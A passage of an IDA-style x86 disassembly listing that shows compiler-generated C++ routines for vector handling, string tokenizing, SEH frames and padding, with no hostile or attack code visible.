		call	sub_437AD2
; ---------------------------------------------------------------------------
		mov	esi, [esp+44h]
		add	esp, 4
		lea	eax, [esp+18h]
		mov	ecx, esi
		push	eax
		call	sub_4014D3
		lea	ecx, [esp+18h]
		call	sub_401226
		mov	ecx, [esp+30h]
		pop	edi
		mov	eax, esi
		pop	ebx
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 2Ch
		retn	0Ch
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A4A0	proc near		; CODE XREF: sub_401E47j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	esi
		push	edi
		mov	esi, ecx
		mov	[esp+0Ch+var_4], 0
		call	sub_4013E3
		mov	ecx, [esp+0Ch+arg_4]
		mov	edi, [esp+0Ch+arg_0]
		sub	eax, ecx
		push	eax
		push	ecx
		push	edi
		mov	ecx, esi
		call	sub_4012B2
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ecx
		retn	8
sub_40A4A0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40A4E0:				; CODE XREF: ___:0040194Cj
		push	ecx
		push	esi
		mov	esi, [esp+0Ch]
		push	1
		mov	ecx, esi
		mov	dword ptr [esp+8], 0
		call	sub_402112
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A510	proc near		; CODE XREF: sub_4011EAj

var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	offset SEH_40A510
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		mov	edi, [esp+44h+arg_8]
		mov	esi, ecx
		test	edi, edi
		mov	[esp+44h+var_38], 0
		jnz	short loc_40A551
		mov	esi, [esp+44h+arg_0]
		push	offset byte_448F30
		mov	ecx, esi
		call	sub_401870
		jmp	loc_40A684
; ---------------------------------------------------------------------------


loc_40A551:				; CODE XREF: sub_40A510+2Aj
		lea	eax, [esp+44h+arg_8]
		lea	ecx, [esp+44h+var_34]
		push	eax
		call	sub_40169A
		mov	ecx, [esi+9]
		mov	[esp+44h+var_4], 1
		push	ecx
		lea	ecx, [esp+48h+var_24]
		call	sub_401870
		lea	ecx, [esp+44h+var_24]
		mov	byte ptr [esp+44h+var_4], 2
		call	sub_4014DD
		mov	[esp+44h+var_3C], eax
		mov	cl, [eax]
		test	cl, cl
		jz	loc_40A635
		push	ebx


loc_40A591:				; CODE XREF: sub_40A510+11Ej
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_40A5A0


loc_40A597:				; CODE XREF: sub_40A510+8Ej
		inc	eax
		mov	[esp+48h+var_3C], eax
		cmp	[eax], dl
		jz	short loc_40A597


loc_40A5A0:				; CODE XREF: sub_40A510+85j
		cmp	byte ptr [eax],	22h
		setz	bl
		test	bl, bl
		jz	short loc_40A5AF
		inc	eax
		mov	[esp+48h+var_3C], eax


loc_40A5AF:				; CODE XREF: sub_40A510+98j
		lea	edx, [esp+48h+var_3C]
		lea	ecx, [esp+48h+var_34]
		push	edx
		call	sub_401997
		mov	eax, [esp+48h+var_3C]
		test	bl, bl
		mov	cl, [eax]
		jz	short loc_40A5FF
		test	cl, cl
		jz	short loc_40A5E7


loc_40A5CB:				; CODE XREF: sub_40A510+D5j
		cmp	cl, 22h
		jnz	short loc_40A5DC
		mov	cl, [eax+1]
		cmp	cl, 20h
		jz	short loc_40A5E7
		test	cl, cl
		jz	short loc_40A5E7


loc_40A5DC:				; CODE XREF: sub_40A510+BEj
		inc	eax
		mov	[esp+48h+var_3C], eax
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_40A5CB


loc_40A5E7:				; CODE XREF: sub_40A510+B9j
					; sub_40A510+C6j ...
		cmp	byte ptr [eax],	0
		jz	short loc_40A62A
		mov	byte ptr [eax],	0
		mov	eax, [esp+48h+var_3C]
		mov	cl, [eax+1]
		test	cl, cl
		jz	short loc_40A62A
		add	eax, 2
		jmp	short loc_40A626
; ---------------------------------------------------------------------------


loc_40A5FF:				; CODE XREF: sub_40A510+B5j
		test	cl, cl
		jz	short loc_40A614
		mov	dl, [edi]


loc_40A605:				; CODE XREF: sub_40A510+102j
		cmp	cl, dl
		jz	short loc_40A614
		inc	eax
		mov	[esp+48h+var_3C], eax
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_40A605


loc_40A614:				; CODE XREF: sub_40A510+F1j
					; sub_40A510+F7j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_40A62A
		cmp	cl, [edi]
		jnz	short loc_40A62A
		mov	byte ptr [eax],	0
		mov	eax, [esp+48h+var_3C]
		inc	eax


loc_40A626:				; CODE XREF: sub_40A510+EDj
		mov	[esp+48h+var_3C], eax


loc_40A62A:				; CODE XREF: sub_40A510+DAj
					; sub_40A510+E8j ...
		mov	cl, [eax]
		test	cl, cl
		jnz	loc_40A591
		pop	ebx


loc_40A635:				; CODE XREF: sub_40A510+7Aj
		lea	ecx, [esp+44h+var_34]
		call	sub_4011F9
		mov	ecx, [esp+44h+arg_4]
		cmp	ecx, eax
		jb	short loc_40A64D
		push	offset byte_448F30
		jmp	short loc_40A65A
; ---------------------------------------------------------------------------


loc_40A64D:				; CODE XREF: sub_40A510+134j
		push	ecx
		lea	ecx, [esp+48h+var_34]
		call	sub_401F82
		mov	eax, [eax]
		push	eax


loc_40A65A:				; CODE XREF: sub_40A510+13Bj
		mov	esi, [esp+48h+arg_0]
		mov	ecx, esi
		call	sub_401870
		lea	ecx, [esp+44h+var_24]
		mov	[esp+44h+var_38], 1
		call	sub_401226
		lea	ecx, [esp+44h+var_34]
		mov	byte ptr [esp+44h+var_4], 0
		call	sub_401596
; ---------------------------------------------------------------------------


loc_40A684:				; CODE XREF: sub_40A510+3Cj
		mov	ecx, [esp+44h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn	10h
sub_40A510	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A710	proc near		; CODE XREF: sub_4016B8j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ecx
		mov	eax, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	0
		push	eax
		push	edx
		push	esi
		mov	[esp+18h+var_4], 0
		call	sub_4011EA
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	0Ch
sub_40A710	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A750	proc near		; CODE XREF: sub_40202Cj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_4015E1
		pop	esi
		retn	4
sub_40A750	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A780	proc near		; CODE XREF: sub_401A9Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4015E1
		retn	4
sub_40A780	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A7A0	proc near		; CODE XREF: sub_401479j

arg_0		= dword	ptr  4

		mov	eax, [ecx+9]
		mov	ecx, [esp+arg_0]
		add	eax, ecx
		retn	4
sub_40A7A0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40A7C0:				; CODE XREF: ___:004014A6j
		mov	eax, [ecx+9]
		mov	ecx, [esp+4]
		add	eax, ecx
		retn	4
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A7E0	proc near		; CODE XREF: sub_401389j
		mov	eax, [ecx+9]
		retn
sub_40A7E0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A800	proc near		; CODE XREF: sub_4017EEj
		mov	eax, [ecx+9]
		retn
sub_40A800	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A820	proc near		; CODE XREF: sub_4014DDj
		mov	eax, [ecx+9]
		retn
sub_40A820	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A840	proc near		; CODE XREF: sub_40169Aj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	dl, [ecx]
		xor	ecx, ecx
		mov	[eax], dl
		mov	[eax+4], ecx
		mov	[eax+8], ecx
		mov	[eax+0Ch], ecx
		retn	4
sub_40A840	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40A870	proc near		; CODE XREF: sub_401596j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_4019B5
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_4011EF
sub_40A870	endp

; ---------------------------------------------------------------------------
		xor	eax, eax


loc_40A898:				; DATA XREF: ___:00446534o
					; ___:00446578o ...
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A8C0	proc near		; CODE XREF: sub_4011F9j
		mov	edx, [ecx+4]
		test	edx, edx
		jnz	short loc_40A8CA
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_40A8CA:				; CODE XREF: sub_40A8C0+5j
		mov	eax, [ecx+8]
		sub	eax, edx
		sar	eax, 2
		retn
sub_40A8C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A8F0	proc near		; CODE XREF: sub_401F82j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	esi, ecx
		call	sub_4011F9
		mov	edi, [esp+8+arg_0]
		cmp	eax, edi
		ja	short loc_40A908
		mov	ecx, esi
		call	sub_401F05


loc_40A908:				; CODE XREF: sub_40A8F0+Fj
		mov	ecx, esi
		call	sub_401D2F
		lea	eax, [eax+edi*4]
		pop	edi
		pop	esi
		retn	4
sub_40A8F0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A930	proc near		; CODE XREF: sub_401997j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401659
		push	eax
		mov	ecx, esi
		call	sub_4016F9
		pop	esi
		retn	4
sub_40A930	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A960	proc near		; CODE XREF: sub_401D2Fj
		mov	eax, [ecx+4]
		retn
sub_40A960	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A980	proc near		; CODE XREF: sub_401659j
		mov	eax, [ecx+8]
		retn
sub_40A980	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A9A0	proc near		; CODE XREF: sub_4016F9j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, ecx
		call	sub_401D2F
		mov	edx, [esp+8+arg_4]
		mov	ecx, eax
		mov	eax, [esp+8+arg_0]
		push	edx
		mov	esi, eax
		push	1
		sub	esi, ecx
		push	eax
		mov	ecx, edi
		sar	esi, 2
		call	sub_4013D9
		mov	ecx, edi
		call	sub_401D2F
		lea	eax, [eax+esi*4]
		pop	edi
		pop	esi
		retn	8
sub_40A9A0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A9F0	proc near		; CODE XREF: sub_4019B5j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		cmp	esi, ebx
		mov	edi, ecx
		jz	short loc_40AA10


loc_40AA01:				; CODE XREF: sub_40A9F0+1Ej
		push	esi
		mov	ecx, edi
		call	sub_4018C0
		add	esi, 4
		cmp	esi, ebx
		jnz	short loc_40AA01


loc_40AA10:				; CODE XREF: sub_40A9F0+Fj
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40A9F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40AA30:				; CODE XREF: sub_401F05j
		push	0FFFFFFFFh
		push	offset loc_439DB9
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		lea	eax, [esp+3]
		lea	ecx, [esp+4]
		push	eax
		push	offset aInvalidVectorT ; "invalid vector<T> subscript"
		call	near ptr 76081F67h
		nop
		lea	ecx, [esp+4]
		mov	dword ptr [esp+38h], 0
		push	ecx
		lea	ecx, [esp+18h]
		nop
		call	near ptr 760A0430h
		lea	edx, [esp+14h]
		push	offset dword_440088
		push	edx
		call	sub_437B22
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40AAB0	proc near		; CODE XREF: sub_4011EFj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_40AAB0	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AAD0	proc near		; CODE XREF: sub_4013D9j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esp+10h+arg_4]
		mov	eax, [esi+8]
		mov	ecx, [esi+0Ch]
		sub	ecx, eax
		sar	ecx, 2
		cmp	ecx, edi
		jnb	loc_40AB9B
		mov	ecx, esi
		call	sub_4011F9
		cmp	edi, eax
		jnb	short loc_40AB03
		mov	ecx, esi
		call	sub_4011F9
		mov	ebp, eax
		jmp	short loc_40AB05
; ---------------------------------------------------------------------------


loc_40AB03:				; CODE XREF: sub_40AAD0+26j
		mov	ebp, edi


loc_40AB05:				; CODE XREF: sub_40AAD0+31j
		mov	ecx, esi
		call	sub_4011F9
		mov	ebx, eax
		push	0
		add	ebx, ebp
		mov	ecx, esi
		push	ebx
		call	sub_401DE8
; ---------------------------------------------------------------------------
		mov	edx, [esp+10h+arg_0]
		mov	ebp, eax
		mov	eax, [esi+4]
		push	ebp
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4010CD
		mov	ecx, [esp+10h+arg_8]
		mov	[esp+10h+arg_4], eax
		push	ecx
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_402194
		mov	edx, [esp+10h+arg_4]
		mov	ecx, [esi+8]
		lea	eax, [edx+edi*4]
		mov	edx, [esp+10h+arg_0]
		push	eax
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4010CD
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_4019B5
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_4011EF
; ---------------------------------------------------------------------------
		lea	eax, [ebp+ebx*4+0]
		mov	ecx, esi
		mov	[esi+0Ch], eax
		call	sub_4011F9
		add	eax, edi
		mov	[esi+4], ebp
		pop	edi
		lea	ecx, [ebp+eax*4+0]
		mov	[esi+8], ecx
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40AB9B:				; CODE XREF: sub_40AAD0+17j
		mov	ebx, [esp+10h+arg_0]
		mov	edx, eax
		sub	edx, ebx
		sar	edx, 2
		cmp	edx, edi
		jnb	short loc_40ABF9
		lea	ebp, ds:0[edi*4]
		lea	ecx, [ebx+ebp]
		push	ecx
		push	eax
		push	ebx
		mov	ecx, esi
		call	sub_4010CD
		mov	eax, [esi+8]
		mov	edx, [esp+10h+arg_8]
		mov	ecx, eax
		push	edx
		sub	ecx, ebx
		sar	ecx, 2
		sub	edi, ecx
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_402194
		mov	edx, [esp+10h+arg_8]
		mov	eax, [esi+8]
		push	edx
		push	eax
		push	ebx
		call	sub_401E8D
		mov	eax, [esi+8]
		add	esp, 0Ch
		add	eax, ebp
		mov	[esi+8], eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40ABF9:				; CODE XREF: sub_40AAD0+D8j
		test	edi, edi
		jbe	short loc_40AC33
		shl	edi, 2
		push	eax
		push	eax
		sub	eax, edi
		mov	ecx, esi
		push	eax
		call	sub_4010CD
		mov	eax, [esi+8]
		push	eax
		sub	eax, edi
		push	eax
		push	ebx
		call	sub_4020CC
		mov	ecx, [esp+1Ch+arg_8]
		lea	edx, [edi+ebx]
		push	ecx
		push	edx
		push	ebx
		call	sub_401E8D
		mov	eax, [esi+8]
		add	esp, 18h
		add	eax, edi
		mov	[esi+8], eax


loc_40AC33:				; CODE XREF: sub_40AAD0+12Bj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_40AAD0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ACA0	proc near		; CODE XREF: sub_4018C0j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_1
		pop	ecx
		retn	4
sub_40ACA0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ACC0	proc near		; CODE XREF: sub_4010CDj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		mov	ebx, ecx
		cmp	esi, ebp
		jz	short loc_40ACF2
		push	edi
		mov	edi, [esp+10h+arg_8]


loc_40ACD6:				; CODE XREF: sub_40ACC0+27j
		push	esi
		push	edi
		mov	ecx, ebx
		call	sub_40213F
		add	esi, 4
		add	edi, 4
		cmp	esi, ebp
		jnz	short loc_40ACD6
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40ACF2:				; CODE XREF: sub_40ACC0+Fj
		mov	eax, [esp+0Ch+arg_8]
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_40ACC0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AD10	proc near		; CODE XREF: sub_402194j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebp
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	ebp, ecx
		test	edi, edi
		jbe	short loc_40AD37
		push	ebx
		mov	ebx, [esp+0Ch+arg_8]
		push	esi
		mov	esi, [esp+10h+arg_0]


loc_40AD26:				; CODE XREF: sub_40AD10+23j
		push	ebx
		push	esi
		mov	ecx, ebp
		call	sub_40213F
		add	esi, 4
		dec	edi
		jnz	short loc_40AD26
		pop	esi
		pop	ebx


loc_40AD37:				; CODE XREF: sub_40AD10+Aj
		pop	edi
		pop	ebp
		retn	0Ch
sub_40AD10	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40AD50	proc near		; CODE XREF: sub_401DE8j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_4014D8
sub_40AD50	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AD80	proc near		; CODE XREF: sub_40213Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401E01
		add	esp, 8
		retn	8
sub_40AD80	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ADB0	proc near		; CODE XREF: sub_401E8Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	eax, ecx
		jz	short locret_40ADCD
		mov	edx, [esp+arg_8]
		push	esi


loc_40ADC1:				; CODE XREF: sub_40ADB0+1Aj
		mov	esi, [edx]
		mov	[eax], esi
		add	eax, 4
		cmp	eax, ecx
		jnz	short loc_40ADC1
		pop	esi

locret_40ADCD:				; CODE XREF: sub_40ADB0+Aj
		retn
sub_40ADB0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ADE0	proc near		; CODE XREF: sub_4020CCj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	edx, ecx
		jz	short loc_40AE02
		mov	eax, [esp+arg_8]
		push	esi


loc_40ADF1:				; CODE XREF: sub_40ADE0+1Ej
		mov	esi, [ecx-4]
		sub	ecx, 4
		sub	eax, 4
		cmp	ecx, edx
		mov	[eax], esi
		jnz	short loc_40ADF1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40AE02:				; CODE XREF: sub_40ADE0+Aj
		mov	eax, [esp+arg_8]
		retn
sub_40ADE0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40AE40	proc near		; CODE XREF: sub_4014D8j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jge	short loc_40AE4A
		xor	eax, eax


loc_40AE4A:				; CODE XREF: sub_40AE40+6j
		shl	eax, 2
		push	eax
		call	sub_437AEA
sub_40AE40	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AE70	proc near		; CODE XREF: sub_401E01j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_40AE8B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_40AE8B:				; CODE XREF: sub_40AE70+11j
		retn
sub_40AE70	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AEA0	proc near		; CODE XREF: sub_401E88j
		mov	eax, ecx
		mov	dword ptr [eax], offset	off_43F014
		retn
sub_40AEA0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40AEC0:				; CODE XREF: ___:00401721j
					; ___:loc_402045j
		push	esi
		mov	esi, ecx
		call	sub_40204F
		test	byte ptr [esp+8], 1
		jz	short loc_40AED8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40AED8:				; CODE XREF: ___:0040AECDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AEF0	proc near		; CODE XREF: sub_40204Fj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_40AEF0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	dword ptr [ecx], offset	off_43F014
		mov	[ebp+var_10], esp
		mov	[ebp+var_4], 0
		call	sub_40174E


loc_40AF21:				; DATA XREF: sub_40AF32o
		mov	ecx, [ebp+var_C]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40AEF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AF32	proc near		; DATA XREF: ___:004401C4o
		mov	eax, offset loc_40AF21
		retn
sub_40AF32	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AF60	proc near		; CODE XREF: sub_4014C4j
		call	sub_401712
		jmp	sub_4017BC
sub_40AF60	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AF80	proc near		; CODE XREF: sub_401B2Cj
		call	sub_401627
		jmp	sub_4017CB
sub_40AF80	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AFA0	proc near		; CODE XREF: sub_4013DEj
		push	esi
		mov	esi, ecx
		push	esi
		push	offset sub_401429
		lea	eax, [esi+0Ch]
		push	0
		push	eax
		call	sub_40123A
		add	esp, 10h
		test	eax, eax
		jnz	short loc_40AFC2
		mov	al, 1
		mov	[esi+10h], al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40AFC2:				; CODE XREF: sub_40AFA0+19j
		mov	byte ptr [esi+10h], 0
		xor	al, al
		pop	esi
		retn
sub_40AFA0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40AFE0:				; CODE XREF: ___:004011C2j
		push	ecx
		push	esi
		mov	esi, ecx
		mov	al, [esi+10h]
		test	al, al
		jz	short loc_40B007
		mov	ecx, [esi+0Ch]
		lea	eax, [esp+4]
		push	eax
		push	ecx
		call	sub_401767
		mov	eax, [esp+0Ch]
		add	esp, 8
		mov	byte ptr [esi+10h], 0
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_40B007:				; CODE XREF: ___:0040AFE9j
		xor	eax, eax
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B020	proc near		; CODE XREF: sub_40174Ej
		push	esi
		mov	esi, ecx
		mov	al, [esi+10h]
		test	al, al
		jz	short loc_40B03C
		mov	eax, [esi+0Ch]
		push	0Fh
		push	eax
		call	sub_401762
		add	esp, 8
		mov	byte ptr [esi+10h], 0


loc_40B03C:				; CODE XREF: sub_40B020+8j
		pop	esi
		retn
sub_40B020	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B050:				; CODE XREF: ___:004011F4j
		mov	eax, [ecx+0Ch]
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B070	proc near		; CODE XREF: sub_401429j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_40B070
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	eax, [ecx]
		mov	[ebp+var_10], esp
		mov	[ebp+var_4], 0
		call	dword ptr [eax+4]


